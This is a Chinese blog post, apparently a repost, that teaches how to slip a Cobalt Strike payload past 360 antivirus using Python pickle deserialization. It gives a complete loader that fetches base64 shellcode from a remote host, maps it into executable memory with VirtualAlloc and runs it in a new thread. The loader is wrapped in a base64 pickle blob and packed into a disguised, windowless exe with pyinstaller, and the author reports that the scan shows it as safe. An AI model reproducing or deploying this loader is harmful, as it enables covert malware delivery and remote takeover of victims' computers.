码迷,mamicode.com
首页 > 编程语言 > 详细

python3反序列化过360杀软

时间:2021-01-12 11:01:03      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:def   base   xsl   OLE   pci   BLB   生成   成功   远程服务   

使用CS里面生成payload,选择python 勾选64位。
技术图片
将shellcode代码编码成BASE64
技术图片
放在远程服务器上
技术图片
反序列化代码

import pickle
import base64
 
shellcode = """
import ctypes,urllib.request,codecs,base64
 
shellcode = urllib.request.urlopen(‘http://ip/shellcode.txt‘).read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
 
 
class A(object):
    def __reduce__(self):
        return (exec, (shellcode,))
 
 
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)

获取shellcode的反序列化的一个结果
技术图片
把以上代码复制到shellcode里面

#conding:utf-8
import base64,pickle,ctypes,urllib.request
shellcode =b‘gANjYnVpbHRpbnMKZXhlYwpxAFg3BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXV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5jX2ludCgwKSwgCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQojIOetieW+heS4iumdouWIm+W7uueahOe6v+eoi+i/kOihjOWujApjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSlxAYVxAlJxAy4=‘
pickle.loads(base64.b64decode(shellcode))

执行成功后会上线
技术图片
把py文件打包成exe文件加上随机key 混绕一下
pyinstaller -F bypassav.py --noconsole -i qq.ico --key 1231312311
技术图片
成功上线
技术图片

360杀毒扫描显示安全
技术图片

python3反序列化过360杀软

标签:def   base   xsl   OLE   pci   BLB   生成   成功   远程服务   

原文地址:https://www.cnblogs.com/Creat0r/p/14257333.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!